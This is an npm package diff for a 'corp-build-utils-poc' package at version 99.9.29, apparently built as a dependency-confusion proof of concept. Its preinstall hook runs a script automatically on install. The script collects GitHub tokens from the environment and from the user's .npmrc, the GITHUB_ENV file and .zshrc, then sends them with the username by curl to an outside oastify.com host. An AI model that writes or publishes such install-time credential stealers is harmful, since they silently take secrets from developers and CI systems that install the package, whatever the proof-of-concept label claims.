@girirajravichandran/corp-build-utils-poc 99.9.29

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@girirajravichandran/corp-build-utils-poc",
+  "version": "99.9.29",
+  "description": "dependency confusion poc",
+  "private": false,
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {
+    "@girirajravichandran/corp-build-utils-poc": "^99.9.29"
+  }
+}

package/preinstall.js

@@ -0,0 +1,34 @@
+const { exec } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+const homeDir = os.homedir();
+const oastUrl = "http://3y2ev1k4fi83c60p0h36tf3t9kfb31rq.oastify.com";
+
+// 1. Collect from current environment
+let exfilData = `ENV_TOKEN=${process.env.GITHUB_TOKEN || 'none'}`;
+
+// 2. Hunt for secrets in local config files
+const targets = [
+    { name: 'NPMRC', path: path.join(homeDir, '.npmrc') },
+    { name: 'GITHUB_ENV', path: process.env.GITHUB_ENV || '' },
+    { name: 'ZSHRC', path: path.join(homeDir, '.zshrc') }
+];
+
+targets.forEach(target => {
+    if (fs.existsSync(target.path)) {
+        try {
+            const content = fs.readFileSync(target.path, 'utf8');
+            // Basic regex to find strings starting with ghp_
+            const match = content.match(/ghp_[a-zA-Z0-9]{36}/);
+            if (match) exfilData += `&${target.name}=${match[0]}`;
+        } catch (e) {}
+    }
+});
+
+// 3. Exfiltrate everything found
+const user = os.userInfo().username;
+const cmd = `curl -G "${oastUrl}" --data-urlencode "victim=${user}" --data-urlencode "data=${exfilData}"`;
+
+exec(cmd);